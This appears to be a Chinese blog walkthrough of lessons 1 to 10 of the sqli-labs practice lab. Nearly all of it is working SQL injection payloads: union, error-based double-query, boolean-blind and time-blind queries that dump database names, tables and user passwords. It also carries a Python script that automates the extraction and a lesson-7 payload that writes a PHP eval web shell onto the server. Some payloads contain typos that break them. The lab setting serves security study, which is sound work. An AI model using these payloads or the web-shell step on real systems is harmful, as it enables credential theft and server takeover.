sqli-labs less1-10详解

文章目录

第一关,基于错误的GET单引号字符型注入

字符串连接函数:

concat(str1,str2) //没有分隔符的连接字符串
concat_ws(str,str2) //含有分隔符的连接字符串
group_concat(str1,str2) //连接一个组的所有字符串,并以逗号分隔每一条数据

进入第一关页面
sqli-labs less1-10详解
输入?id=1测试是否有注入点,显示正常
sqli-labs less1-10详解
多试几位数,发现也都是正常
sqli-labs less1-10详解添加and 1=2 --+ 都显示正常
sqli-labs less1-10详解
分析下源代码,id=‘ i d ′ , id', id′,id被单引号包含,明显是单引号的闭合
sqli-labs less1-10详解
输入?id=1‘,查看报错,说明有注入点
sqli-labs less1-10详解
尝试and 1=1 --+,返回为真,返回是正常的
sqli-labs less1-10详解
?id=2 --+,返回错误,这里直接连个提示都没有
sqli-labs less1-10详解
Order by 10
查看数据库字段数
sqli-labs less1-10详解
挨个测试,字段数为3
sqli-labs less1-10详解
union联合查询
?id=1’ and 1=2 union select 1,2,3 --+
sqli-labs less1-10详解

进入下面的操作前,先介绍几个函数:

(1)version():查看数据库版本
(2)user():查看当前用户
(3)database():查看使用的数据库
(4) limit :limit子句来分批获取所有数据
(5)group_concat():一次性获取数据库信息。

查看当前数据库
?id=1’ and 1=2 union select 1,database(),3 --+
sqli-labs less1-10详解查看版本
?id=1’ and 1=2 union select 1,version(),3 --+
sqli-labs less1-10详解
下面最后输入的数据库,表名或者列名,都需要转换成十六进制

查看当前用户
?id=1’ and 1=2 union select 1,user(),3 --+
sqli-labs less1-10详解
爆表名
?id=1’ and 1=1 union select 1,group_concat(table_name),3 from information_schema.tables table_schema=0x库名转十六进制 --+
sqli-labs less1-10详解
爆列名
?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0xuser的十六进制转换
sqli-labs less1-10详解爆账号密码
?id=1’ and 1=2 union select 1,group_concat(0x5c,username,0x5c,password),3 from users(表名)
最后的表名,尝试用十六进制的,发现不行,干脆不转发现照样爆了出来
0x5c是反斜杠
sqli-labs less1-10详解

第二关

首先查看源码
sqli-labs less1-10详解
很明显没有单引号,是一个数字型的注入
sqli-labs less1-10详解
直接开整,查看下数据库字段数量
Order by 3 --+
和第一关一样,也是三个字段
sqli-labs less1-10详解
如第一个一样查看数据库名,表名,列名,用户名和密码
?id=1 and 1=2 union select 1,database(),3 --+
sqli-labs less1-10详解
查看所有的数据库
?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
sqli-labs less1-10详解
知道了库名,爆表名
?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+
sqli-labs less1-10详解
爆列名
?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
sqli-labs less1-10详解
爆用户名和密码
?id=1 and 1=2 union select 1,group_concat(username,0x5c,password),3 from users --+
sqli-labs less1-10详解

第三关

查找注入点
sqli-labs less1-10详解
sqli-labs less1-10详解
sqli-labs less1-10详解
sqli-labs less1-10详解
查看列
?id=1’) and 1=1 order by 3 --+
sqli-labs less1-10详解
查看所有数据库
?id=1’) and 1=2 union select 1,group_cpncat(schema_name),3 from information_schema.schemata --+
sqli-labs less1-10详解
查看当前数据库
?id=1’) and 1=2 union select 1,database(),3 --+
sqli-labs less1-10详解
爆表名
?id=1’) and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘库名’ --+
sqli-labs less1-10详解
爆列名
?id=1’) and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_name=‘表名’ --+
sqli-labs less1-10详解
sqli-labs less1-10详解

第四关

测试注入点
sqli-labs less1-10详解
查找到了注入点是一个“)的闭合点
sqli-labs less1-10详解
查看字段长度为4
sqli-labs less1-10详解
sqli-labs less1-10详解
查看当前的数据库
sqli-labs less1-10详解
查看所有表
sqli-labs less1-10详解
查看列名
sqli-labs less1-10详解
爆用户名和密码
sqli-labs less1-10详解

第五关 二次查询

双查询注入其实就是一个select语句中再嵌套一个select语句,嵌套的这个语句称作子查询,
先查询里面的select database(),再查询外面的。
sqli-labs less1-10详解

后续注入,需要先了解count()、rand()、floor()、concat()这三个函数的功能以及group by语句的用法。

  1. count():汇总数据函数
  2. rand():随机输出一个小于1的正数
  3. floor():把输出的结果取整
  4. group by语句:把结果分组输出
  5. concat():连接两条语句

rand()函数
先来看这个函数的作用:
select rand();
sqli-labs less1-10详解
就是随机输出一个小于1的正数
floor()函数
现在加上floor()函数,效果就不一样了,floor是取整函数,为了体现的更直观,我们把rand()*2来输出,也就是输出0或1.
select floor(rand()*2);
sqli-labs less1-10详解concat()函数
现在我们再加上一个concat()函数,看看效果:
select concat((select database()),floor(rand()*2));
sqli-labs less1-10详解group by语句
group by就是分组语句,举个例子大家就明白了
select concat((select database()),floor(rand()*2))as a from information_schema.tables group by a;
这里解释一下,把select database()和floor(rand()*2)的结果输出到a里,然后最大长度根据information_schema.tables来决定,然后用a进行分组,xxx1一组,xxx0一组:
sqli-labs less1-10详解sqli-labs less1-10详解
也可以version(),user()查看数据库版本和当前用户。

count()函数

最后在语句中加个count(*),整合一下结果,就明白count()函数是干嘛的了:
sqli-labs less1-10详解现在才是真正展现二次查询注入威力的时候,当我们第二次去查询的时候,数据库竟然报错了:
sqli-labs less1-10详解这就说明,如果想要页面爆出你想要的数据来,点击一次是没用的,只有点第二次数据库才会报错,才会回显。

开始注入
寻找注入点
sqli-labs less1-10详解
ok找到注入点
sqli-labs less1-10详解
做个好几关,猜都能猜出来字段长度为3
sqli-labs less1-10详解
好像没按套路出牌,没爆出用户名和密码
sqli-labs less1-10详解
使用双查询注入
爆当前的库
?id=1’ and 1=2 union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a;

第一次注入会显示“you are in ……”没有回显信息
相同的语句第二次注入,爆出当前的数据库

sqli-labs less1-10详解
爆表名
?id-1’ and 1=2 union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=‘security’),floor(rand()*2)) as a from infromation_schema.tables group by a --+
sqli-labs less1-10详解
发现报错了,提示说子查询返回一行以上,说里面的查询要返回一行以上。
这里多了一个键,键1已经存在虚拟表中,由于键只能唯一,所以此时就会报错。所以在使用floor()、rand(0)、count()、group by时,数据表中至少要有3条记录才会报错,所以我们在第二条select语句末尾加上limit x,1即可让它报错继续注入。

一样的两次注入,第一次正常,第二次回显
?id=1’ and 1=2 union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=‘security’;imit 0,1),floor(rand()2)) as a from information_schema.tables group by a --+
爆出的第一个表
Limit 前一个零代表第一个
依次增加

sqli-labs less1-10详解
第二个表
双查询太费劲了,有时候两次刷新并没有卵用,要多刷新几次,希望实战不会费劲,容易浪费时间直接pass掉
sqli-labs less1-10详解
第三张表
sqli-labs less1-10详解
第四张表
总算找到目标了
sqli-labs less1-10详解
顺着思路爆列名
第一个列名
?id=1’ and 1=2 union select 1,count(
),concat((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a;
sqli-labs less1-10详解
第二列
爆出了用户名字段
sqli-labs less1-10详解
第三列
爆出了密码字段

sqli-labs less1-10详解
顺着思路
爆字段
第一个用户名字段
?id=1’ and 1=2 union select 1,count(*),concat((select username from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a --+
sqli-labs less1-10详解
爆第一个密码字段
sqli-labs less1-10详解
不管用户字段还是密码字段,limit依次爆下一个字段。
注:在爆的时候有可能需要点击两次及以上,毕竟它有个缓冲时间,多查几次就出来了。

**手动有些繁琐
exp
网上大牛写的exp脚本,非常值得学习啊!**
import requests
from bs4 import BeautifulSoup
db_name = ''
table_list = []
column_list = []
url = '''http://192.168.1.113:86/Less-5/?id=1'''
***获取当前数据库名***
print('当前数据库名:')
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+'''
r = requests.get(url+payload)
db_name = r.text.split(':')[-2]
print('[+]' + db_name)
**获取表名**
print('数据库%s下的表名:' % db_name)
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i)
    r = requests.get(url+payload)
    if 'group_key' not in r.text:
        break
    table_name = r.text.split(':')[-2]
    table_list.append(table_name)
    print('[+]' + table_name)
***获取列名***
**这里以users表为例**
print('%s表下的列名:' % table_list[-1])
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i)
    r = requests.get(url + payload)
    if 'group_key' not in r.text:
        break
    column_name = r.text.split(':')[-2]
    column_list.append(column_name)
    print('[+]' + column_name)
**获取字段值**
**这里以username列为例**
print('%s列下的字段值:' % column_list[-2])
for i in range(50):
    payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i)
    r = requests.get(url + payload)
    if 'group_key' not in r.text:
        break
    dump = r.text.split(':')[-2]
    print('[+]' + dump)

sqli-labs less1-10详解

第六关

开始注入
查找注入点
这里查找到的注入点是 “ 双引号
sqli-labs less1-10详解
通过第五关这可能这是一个双查询注入
查看一下是否和想的一样
爆库名
Union select 1,count(*),concat((select database()),floor(rand()2)) as a from information_schema.tables group by a --+
sqli-labs less1-10详解
一样的双查询
爆表名

Union select 1,count(
),concat((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),floor(rand()*2)) as a from information_schema.tables group by a --+
sqli-labs less1-10详解
爆列名
用户组

sqli-labs less1-10详解
密码组
sqli-labs less1-10详解
爆字段
用户名

sqli-labs less1-10详解
密码
sqli-labs less1-10详解

第七关

查询注入点
sqli-labs less1-10详解
发现有提示,outfile,查了一下属于导入导出文件
1、load_file()导出文件
load_file(file_name):读取文件并返回该文件内容作为一个字符串。
使用条件:
A:必须有权限读取并且文件完全可读
B:预读取文件必修在服务器上
C:必须指定文件完整路径
D:预读取文件必修小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users就别想 load_file 出来。
在实际的注入中,我们有两个难点需要解决: 绝对物理路径 构造有效的畸形语句 (报错爆出绝对路径) 在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors=on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。
2、导入到文件
into outfile
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。

一 直接将select内容导入到文件
二修改文件结尾

我看大佬们都看下路径,我想不用看,肯定有,查查看,发现居然是禁止导入导出的
sqli-labs less1-10详解
找到my.int文件
sqli-labs less1-10详解在mysqld下添加下面这一段,后面为路径
sqli-labs less1-10详解重启mysql就有了
sqli-labs less1-10详解
接着查找注入点
注入点?id=1’))
sqli-labs less1-10详解
在看下源码,确实是这样的闭合方式
sqli-labs less1-10详解
使用into outfile导入一句话木马
?id=1’)) and 1=2 union select 1,"<?php @eval($_POST[pass])?>",3 into outfile “路径\文件名.php”
生成文件并写入一句话木马,路径的分隔符必须是两个反斜杠
sqli-labs less1-10详解
用菜刀连接即可。
sqli-labs less1-10详解sqli-labs less1-10详解

第八关

查找注入点
注入点为单引号
sqli-labs less1-10详解
这是一个布尔盲注,感觉还挺有意思

盲注利用的函数

length() 返回字符串的长度
substr() 截取字符串
ascii() 返回字符串的ASCII码
sleep() 将程序执行延迟
if(exp1,exp2,exp3) 如果第一个语句/条件正确,就执行exp2,如果失败就执行exp3

布尔盲注思路
• 先利用(length(database()))=n判断数据库的长度
• 利用ascii(substr(database(),n,n))) = xxx 猜出数据库名
• 利用类似方法取出数据表
1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=xxx –
• 再取数据。。。

length() 返回字符串的长度
http://localhost/sqli/Less-8/?id=1‘ and length(database())>1–+ #肯定大于1,这个事实
sqli-labs less1-10详解
http://localhost/sqli/Less-8/?id=1‘ and length(database())>7–+ #大于7
http://localhost/sqli/Less-8/?id=1‘ and length(database())>8–+ #不大于8
sqli-labs less1-10详解
http://localhost/sqli/Less-8/?id=1‘ and
length(database())=8–+ #数据库等于8,然后呢!
sqli-labs less1-10详解
然后猜解字符了,编辑确实坑爹!感觉还是写个字典用burp跑
通过ascii()和substr()猜测数据库名
ascii() #返回指定数字对应的ascii码字符函数
substr() #截取从pos位置开始到最后的所有str字符串
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr(database(),1,1)))=115–+ #115=s
正确回显,错误将会报错
sqli-labs less1-10详解
不停的爆破
第二个是101 e
sqli-labs less1-10详解
第三个是 99 c
sqli-labs less1-10详解
第四个是117 u
sqli-labs less1-10详解
第五个是114 r
sqli-labs less1-10详解
第六个是105 I
sqli-labs less1-10详解
第七个是116 t
sqli-labs less1-10详解
第八个是121 y
sqli-labs less1-10详解
可以得到数据库名字为:security

接下来头疼的爆数据表,盲注果然是很枯燥的事情。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1)))=117–+
第一个数据表 101,109,97,105,108,115 =>emails
sqli-labs less1-10详解
改后面的排数
sqli-labs less1-10详解
第二个数据表 114,101,102,101,114,101,114,115 =>referers

Limit 前为数据库)后为字位数
sqli-labs less1-10详解
sqli-labs less1-10详解
第三个数据表 117,97,103,101,110,116,115 =>uagents
sqli-labs less1-10详解
sqli-labs less1-10详解第四个数据表 117,115,101,114,115 =>users
sqli-labs less1-10详解
sqli-labs less1-10详解
爆字段了,我是有点奔溃了。。。。接下来更加坑爹的爆字段。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),2,1)))=105–+
第一个字段 117,115,101,114,95,105,100 =>user_id
sqli-labs less1-10详解第二个字段 102,105,114,115,116,95,110,97,109,101 =>first_name
内心是奔溃,想办法简略一下。不是117=u或者112=p直接忽略
第三个字段 108 pass =>last_name
第四个字段 117,115,101,114 =>user
第五个字段 112,97,115,115,119,111,114,100, =>password
第六个字段 97 pass =>avatar
第七个字段 105 =》id
第八个字段 117,115,101,114,110,97,109,101 =>username
猜解一下用户名username,密码password

感觉太悲催。
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select username from users limit 0,1),1,1)))=68–+
sqli-labs less1-10详解第一个用户名:68,117,109,98 =>Dumb
http://localhost/sqli/Less-8/?id=1‘ and (select ascii(substr((select password from users limit 0,1),1,1)))=68–+
sqli-labs less1-10详解第一个密码:68,117,109,98 =>Dumb

第九关 时间盲注

在我们注入了SQL代码之后,存在以下两种情况:
• 如果注入的SQL代码不影响后台[数据库]的正常功能执行,那么Web应用的页面显示正确(原始页面)。
• 如果注入的SQL代码影响后台数据库的正常功能(产生了SQL注入),但是此时Web应用的页面依旧显示正常(原因是Web应用程序采取了“重定向”或“屏蔽”措施)。
接下来,学习基于时间型SQL盲注。
我们在这里使用IF(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确,即我们的出发点就回到了之前的基于布尔的SQL盲注,也就是构造查询语句来判断结果是否为真。
上面是后来查的,尝试了很多注入点都没有注入点
sqli-labs less1-10详解既然是时间盲注,那就尝试查找注入点
Sleep(时间) 通过休眠查看注入点
通过测试休眠查找注入点
成功查找到单引号闭合为注入点
sqli-labs less1-10详解sqli-labs less1-10详解查找到注入点爆数据库
?id=1’ and (select if((select database())=‘security’,sleep(5),1)) --+
sqli-labs less1-10详解上面是知道的情况,下面展示一个字母一个猜的过程
?id=1’ and (select if(ascii(substr((select database()),1,1))=115,sleep(5),1)) --+
盲猜的是“S”
就不展示网络时长,都是七秒以上
sqli-labs less1-10详解
爆表名
?id=1’ and (select if(ascii(substr((select table_name() from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,sleep(5),1)) --+
第一个表的第一个字母e
sqli-labs less1-10详解
爆第四个users表名的第一个字母
?id=1’ and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=117,sleep(5),1)) --+
sqli-labs less1-10详解
爆用户组名的第一个字母
sqli-labs less1-10详解
爆出密码列的第一个字母p
sqli-labs less1-10详解
爆用户
?id=1’ and (select if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)) --+
爆第一个用户的第一个字母D
sqli-labs less1-10详解
爆第一个密码地第一个字母D
?id=1’ and (select if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)) --+
sqli-labs less1-10详解

第十关

通过代码是一个双引号的时间盲注
sqli-labs less1-10详解
sqli-labs less1-10详解爆数据库名
security的·第一个字母
?id=1" and (select if(ascii(substr((select database() limit 0,1),1,1))=115,sleep(5),1)) --+
sqli-labs less1-10详解爆表名
users表的第一个字母
?id=1" and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=117,sleep(5),1)) --+
sqli-labs less1-10详解
爆列名
sqli-labs less1-10详解
sqli-labs less1-10详解
sqli-labs less1-10详解
爆字段
sqli-labs less1-10详解
sqli-labs less1-10详解

上一篇:XSS之xss-labs-level17


下一篇:Discovery Scanning